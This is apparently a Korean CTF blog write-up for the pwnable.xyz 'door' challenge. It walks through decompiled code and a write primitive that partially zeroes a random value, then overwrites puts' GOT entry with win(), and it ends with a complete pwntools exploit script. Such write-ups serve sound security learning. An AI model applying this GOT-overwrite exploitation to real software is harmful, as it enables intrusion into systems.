Analytic

checksec

이번 문제는 `main()` 함수와 `win()` 함수 2개만 있다. 
`main()` 함수를 보면 사용자가 입력한 값을 write 하는 것만 있다.

int main(){
  setup()
  puts("Door To Other RealmS")
  int32_t var_14 = 0
  int32_t var_10 = 0
  *door = rand():0.d
  while (true)
      print_menu()
      uint64_t rax_2 = zx.q(read_int32():0.d)
      if (rax_2:0.d != 2)
          if (rax_2:0.d s> 2)
              if (rax_2:0.d != 3)
                  if (rax_2:0.d == 4)
                      return 0
              // rax_2 == 3
              else if (*door == 0)
                  continue
              else if (var_10 == 0)
                  continue
              else
                  *sx.q(var_10) = var_14
                  continue
          // rax_2 == 1
          else if (rax_2:0.d == 1)
              if (*door != var_10)
                  continue
              else
                  printf("Door: ")
                  var_14 = read_int32():0.d
                  printf("Realm: ")
                  var_10 = read_int32():0.d
                  *sx.q(var_10) = var_14
                  *door = 0
                  continue
          puts("Invalid")
      // rax_2 = 2
      else if (*door != 0)
          printf("Realm: ")
          var_10 = read_int32():0.d
}

 

 

GOT를 `win()` 함수로 overwrite 하는거 말고는 방법이 없다.
overwrite 하기 위해서는 사용자가 `1`을 입력하고 랜덤 값인 `*door` 과 `var_10`이 같아야 한다.

// rax_2 == 1
else if (rax_2:0.d == 1)
   if (*door != var_10)
      continue
   else
      printf("Door: ")
      var_14 = read_int32():0.d
      printf("Realm: ")
      var_10 = read_int32():0.d
      *sx.q(var_10) = var_14
      *door = 0
      continue

 

 

`var_10`은 초기에 0으로 초기화 되고, 아래 코드에서 사용자가 `2`를 입력 했을 때만 `var_10` 의 값을 바꿀 수 있다.

// rax_2 = 2
else if (*door != 0)
    printf("Realm: ")
    var_10 = read_int32():0.d

 

사용자가 `3`을 입력했을때, `*door` 값이 0이 아니면 `*var_10 = var_14` 를 수행하여 특정 주소에 값을 write 할 수 있다.

// rax_2 == 3
else if (*door == 0)
    continue
else if (var_10 == 0)
    continue
else
    *sx.q(var_10) = var_14
    continue

 

 

 

 

How to Exploit

`var_10`에 `door` 주소를 적은 뒤 `*var_10 = var_14` 로 `*door` 값을 `0`으로 바꿀 수 있다.
하지만 `0`으로 바꾸면 조건 때문에 할 수 있는게 없다.

 

따라서 `var_10`에 `door+1` 주소를 적어 상위 3bytes만 `0`으로 바꾸는 것이다. 그럼 `*door` 값은 1byte만 남게 되는 것이다.

Open(6296133)	# &door + 1 = 0x601244 = 6296133
Enter()

`read_int32()` 함수로 32bit int 형을 입력 받으므로 GOT를 overwrite 할때 상위 4bytes가 남게 된다. 이를 `0`으로 바꾸기 위해 `puts()` 함수의 `GOT + 0x4` 주소를 입력해 `0`으로 바꿔준다.

Open(6295580)	# 0x601018(puts() GOT) + 0x4 = 6295580
Enter()

사용자가 `2`를 입력할 때는 `*door` 값과 `var_10`의 값이 같아야 하므로 `0x00 ~ 0xff` 까지 입력한다.
같으면 `puts()` 함수의 GOT를 `win()` 함수의 주소로 overwrite 한다.

result = 0
for i in range(256):
    Open(i)
    if Choose(e.symbols["win"], e.got["puts"]) == 1:
        result = i
        break

`puts()` 함수를 호추하기 위해 의미없는 값 `0`을 보내면 `flag` 를 획득 할 수 있다.

p.sendlineafter("> ", "0")

 

 

 

Payload

from pwn import *

p = remote("svc.pwnable.xyz" , "30039")
e = ELF("./challenge")

def Choose(door, realm):
    p.sendlineafter("> ", "1")
    
    if "Door" in p.recvuntil(":"):
        p.send(str(door))
        p.sendlineafter("Realm: ", str(realm))
        return 1
    return 0
    
def Open(val):
    p.sendlineafter("> ", "2")
    p.sendlineafter("Realm: ", str(val))

def Enter():
    p.sendlineafter("> ", "3")

Open(6296133)
Enter()
Open(6295580)
Enter()

result = 0
for i in range(256):
    Open(i)
    if Choose(e.symbols["win"], e.got["puts"]) == 1:
        result = i
        break

p.sendlineafter("> ", "0")

p.interactive()

'CTF > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] door write up  (0) 2020.08.10
[pwnable.xyz] child write up  (0) 2020.08.09
[pwnable.xyz] car shop write up  (0) 2020.08.09
[pwnable.xyz] words write up  (0) 2020.08.08
[pwnable.xyz] notebook write up  (0) 2020.08.07
[pwnable.xyz] nin write up  (0) 2020.08.07